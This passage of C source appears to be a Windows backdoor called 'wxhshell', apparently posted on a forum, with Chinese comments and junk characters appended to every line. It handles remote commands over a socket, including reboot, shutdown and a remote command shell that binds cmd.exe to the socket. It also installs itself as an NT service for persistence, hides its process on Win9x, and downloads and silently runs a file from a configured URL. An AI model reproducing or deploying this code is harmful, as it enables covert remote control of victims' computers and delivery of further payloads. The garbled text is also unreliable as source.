      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); YFG-U-t3  
    break; T]^?l  
  } N"S3N)wgd  
  // 安装  dFzYOG1  
  case 'i': { T&]Na  
    if(Install()) TS1pR"6l  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y^4q9?2G  
    else 0%/,>IR>r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ya#RII']  
    break; iA]DE`S  
    } n4Vwao/9x  
  // 卸载  64SW  
  case 'r': { H4W1\u  
    if(Uninstall()) Ih; aBS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S[Vtq^lU  
    else |0lLl^zp  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); kPWBDpzN  
    break; K6-6{vt  
    } ;;M"hI3@  
  // 显示 wxhshell 所在路径 5~QhX22  
  case 'p': { Is ot4HLM  
    char svExeFile[MAX_PATH]; ~H7!MC~K  
    strcpy(svExeFile,"\n\r"); <&`:&7  
      strcat(svExeFile,ExeFile); UnP|]]o:I  
        send(wsh,svExeFile,strlen(svExeFile),0); TopHE  
    break; rjXnDh]MC  
    } aFyh,  
  // 重启 MBlBMUJk  
  case 'b': { l(#1mY5!q8  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); B4IBuS  
    if(Boot(REBOOT)) M%3Wy"YQ,n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ubi~%  
    else { f$vwuW  
    closesocket(wsh); GtC7^ Z&E  
    ExitThread(0);  ![ a  
    } dIvy!d2l  
    break; pp<E))&R  
    } o OQ'*7_  
  // 关机 ewpig4  
  case 'd': { @cPflb  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Vu%n&uF  
    if(Boot(SHUTDOWN)) Y KY2Cw  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yWNOG 2qAP  
    else { &f"T,4Oh  
    closesocket(wsh); 7|Xe&o<n  
    ExitThread(0); L1:nfH&:'  
    } z{=v)F5y  
    break; /22nLc;/Cx  
    } W+K.r?G<j  
  // 获取shell Xo\S9,s{  
  case 's': { $2QYxY9s  
    CmdShell(wsh); cW; H!:&  
    closesocket(wsh); h D.)M  
    ExitThread(0); *,0+RASvq  
    break; YtpRy% R  
  } 2[ksi51y  
  // 退出 NZ+7p{&AN  
  case 'x': { sDX/zF6t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); -R:X<eb  
    CloseIt(wsh); "b`7[;a  
    break; Y[@0qc3UO  
    } jQ|:I7y  
  // 离开 Q(e{~ ]*  
  case 'q': { (xu=%  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); C B/r]+4  
    closesocket(wsh); eVx~n(m!}  
    WSACleanup(); Y.NE^Vn0  
    exit(1); 6A?8tm/0  
    break; F\-Si!~oOz  
        } lov%V*tL  
  } x9&p!&*&IT  
  } >azEed<B  
6} #"qqnx  
  // 提示信息 I|T7+{5z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); l!:^6i  
} lm*g Gy1i  
  } 2T?TM! \Q  
zqf[Z3  
  return; o,*=$/or  
} x6v,lR  
p?kvW42/  
// shell模块句柄 8SZK:VE@  
int CmdShell(SOCKET sock) [S0mY["  
{ !D;c,{Oz  
STARTUPINFO si; KUFz:&wK  
ZeroMemory(&si,sizeof(si)); G|*G9nQ  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7&foEJ3q  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; xNIGO/uI~  
PROCESS_INFORMATION ProcessInfo; #A )Ab%r8"  
char cmdline[]="cmd"; R5ZIC4p  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); -=mwy  
  return 0; VE$t%QT  
} 6@YH#{~Zpv  
zSXA=   
// 自身启动模式 Ha)np  
int StartFromService(void) $w/E9EJ)3A  
{ mX;H((  
typedef struct Cfv]VQQE  
{ 1'fb @vO  
  DWORD ExitStatus; `[Sl1saZ$S  
  DWORD PebBaseAddress; hl]S'yr  
  DWORD AffinityMask; !}t-j3bCs  
  DWORD BasePriority; =?/&u<  
  ULONG UniqueProcessId; ISBF\ wQY  
  ULONG InheritedFromUniqueProcessId; (:7a&2/M  
}   PROCESS_BASIC_INFORMATION; ]]PE#DDg  
\z:<DsQ&  
PROCNTQSIP NtQueryInformationProcess; CN\=9Rvs  
yb?|Eww_o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x*q35K^PE  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; V:Mk)8Gf|  
`tVy_/3(9  
  HANDLE             hProcess; UP8{5fx'  
  PROCESS_BASIC_INFORMATION pbi; U=QA  e  
l9J*um-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); #U"1 9@|}  
  if(NULL == hInst ) return 0; NzlAC  
Ao"C<.gUYP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2y%R:Mu  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]r959+\$  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Dr+Ps  
12OlrU  
  if (!NtQueryInformationProcess) return 0; 30d#Lq  
Mk5RHDh  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); $3\,h; y  
  if(!hProcess) return 0; YlKFw|=  
Y.-S=Y   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ^Xs]C|=W  
q.T:0|  
  CloseHandle(hProcess); H,K`6HH  
?1w"IjUS  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); a g;dc  
if(hProcess==NULL) return 0; FN\GE\H  
pkk4h2Ah  
HMODULE hMod; "dtlME{Bx  
char procName[255]; fRNP#pi0u  
unsigned long cbNeeded; o;J;k_[MX  
6t m \L  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); O{ q&]~,  
vRr9%zx  
  CloseHandle(hProcess); V3uXan_  
B^q<2S;  
if(strstr(procName,"services")) return 1; // 以服务启动 T 6HU*(  
WcEt%mGQ,  
  return 0; // 注册表启动 Nfb`YU=  
} X-/Ban  
bVK$.*,  
// 主模块 A[JM4x   
int StartWxhshell(LPSTR lpCmdLine) ir&.Z5=  
{ "DpKrVuG  
  SOCKET wsl; yU_9a[$V  
BOOL val=TRUE; L~&" aF/b  
  int port=0;  zy>}L #  
  struct sockaddr_in door; k|B2@{  
-oh7d$~  
  if(wscfg.ws_autoins) Install(); 8xTix1u0  
vYnftJK&  
port=atoi(lpCmdLine); V^rW?Do  
BY( eV!  
if(port<=0) port=wscfg.ws_port; 9)lZyE}   
rQj~[Y.c  
  WSADATA data; 1exfCm  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?,XC =}  
9@y3IiZ"}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   6+PGwCS  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); W[|[;{  
  door.sin_family = AF_INET; 7'eh)[T  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); u-.L^!k  
  door.sin_port = htons(port); '[f Zt#  
~L'nz quF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { (("OYj  
closesocket(wsl);  SFpQ#  
return 1; ~:Mm<*lL%  
} }N,>A-P  
e{!vNJ0`  
  if(listen(wsl,2) == INVALID_SOCKET) { H(> M   
closesocket(wsl); (oYW]c}G,  
return 1; .@k*p>K  
} KyLp?!|>  
  Wxhshell(wsl); MZ~.(&  
  WSACleanup(); M[s\E4l:t  
d+5:Qrr  
return 0; Kz[BB@[  
#{,h@g}W  
} KY+]RxX  
<'2u a  
// 以NT服务方式启动 [@2s&Ct;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) %h/! Y<%  
{ _9kIRmT{  
DWORD   status = 0; ym%o}( v-  
  DWORD   specificError = 0xfffffff; d~`-AC+  
W4vBf^eC  
  serviceStatus.dwServiceType     = SERVICE_WIN32; o](.368+4  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `%y5\!X  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SRf5W'4y  
  serviceStatus.dwWin32ExitCode     = 0; H\+-cvl  
  serviceStatus.dwServiceSpecificExitCode = 0; * nCx[  
  serviceStatus.dwCheckPoint       = 0; h8.FX-0& =  
  serviceStatus.dwWaitHint       = 0; eP= j.$  
tcOnM w  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {D,RU8&  
  if (hServiceStatusHandle==0) return; l%<c6;  
6LM9e0oxy  
status = GetLastError(); 9v~5qv;  
  if (status!=NO_ERROR) 8 u:2,l  
{ oMc1:=EG  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 40.AM1Z0f  
    serviceStatus.dwCheckPoint       = 0; hdg<bZk:  
    serviceStatus.dwWaitHint       = 0; v[L[A3`"/  
    serviceStatus.dwWin32ExitCode     = status; P) 1 EA;  
    serviceStatus.dwServiceSpecificExitCode = specificError;  ?Ib}  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); b:Dg}  
    return; / O)6iJ  
  } sHsg_6~  
%wW'!p-<  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >'Hx1;  
  serviceStatus.dwCheckPoint       = 0; Z4@y?f v7s  
  serviceStatus.dwWaitHint       = 0; z2~87fv+  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); OX3Xy7  
} %?dE{ir  
e5OVq ,  
// 处理NT服务事件,比如:启动、停止 *"T+G*~  
VOID WINAPI NTServiceHandler(DWORD fdwControl) {US>)I  
{ !*bdG(pK  
switch(fdwControl) oHsP?%U  
{ OjATSmZ@@  
case SERVICE_CONTROL_STOP: o?\Gm  
  serviceStatus.dwWin32ExitCode = 0; UABbcNW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; #(dhBEXPW;  
  serviceStatus.dwCheckPoint   = 0; Tf[dZ(+\  
  serviceStatus.dwWaitHint     = 0; f{_)rsqf  
  { tN!Bvj:C[M  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }`]]b+_b>@  
  } #Fzb8Yo  
  return; 1eiw3WU;  
case SERVICE_CONTROL_PAUSE: - 0DZ::  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; FG# nap{  
  break; QgZJ`G--  
case SERVICE_CONTROL_CONTINUE: vJThU$s-  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; vZk9gGjk  
  break; `^e*T'UPl  
case SERVICE_CONTROL_INTERROGATE: bd{\{[^S!  
  break; ?(Bl~?zD  
}; eJaUmK:  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); !Bj^i cR  
} y@ .b 4  
FfSI n3  
// 标准应用程序主函数 a7*COh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Z@oKz:U  
{ BA*&N>a  
;qb Dbg  
// 获取操作系统版本 y/\ZAtnLo  
OsIsNt=GetOsVer(); u\3ZIb  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pN+I]NgQ  
cNeiD@t3V&  
  // 从命令行安装 KBj@V6Q  
  if(strpbrk(lpCmdLine,"iI")) Install(); y#e ?iE@  
SwJHgZ&  
  // 下载执行文件 ,!H\^Vfl  
if(wscfg.ws_downexe) { D6:DrA:  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) kQ[Jo%YT?E  
  WinExec(wscfg.ws_filenam,SW_HIDE); 2-7Z(7G{ F  
} mtX31 M4  
Gw`/.0  
if(!OsIsNt) { c_DaNEfaY  
// 如果时win9x,隐藏进程并且设置为注册表启动 i'iO H|s  
HideProc(); g-|Kyhr?=  
StartWxhshell(lpCmdLine); Z9f/-|r5  
} <M305BH  
else ogp{rY  
  if(StartFromService()) xD^wTtT  
  // 以服务方式启动 pJ6Jx(  
  StartServiceCtrlDispatcher(DispatchTable); Rdj8 *f  
else )r#,ML  
  // 普通方式启动 6kR -rA  
  StartWxhshell(lpCmdLine); 4UVW#Rw{  
xy vND  
return 0; j@CKO cn2  
}
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只看该作者 1 发表于: 2006-10-10
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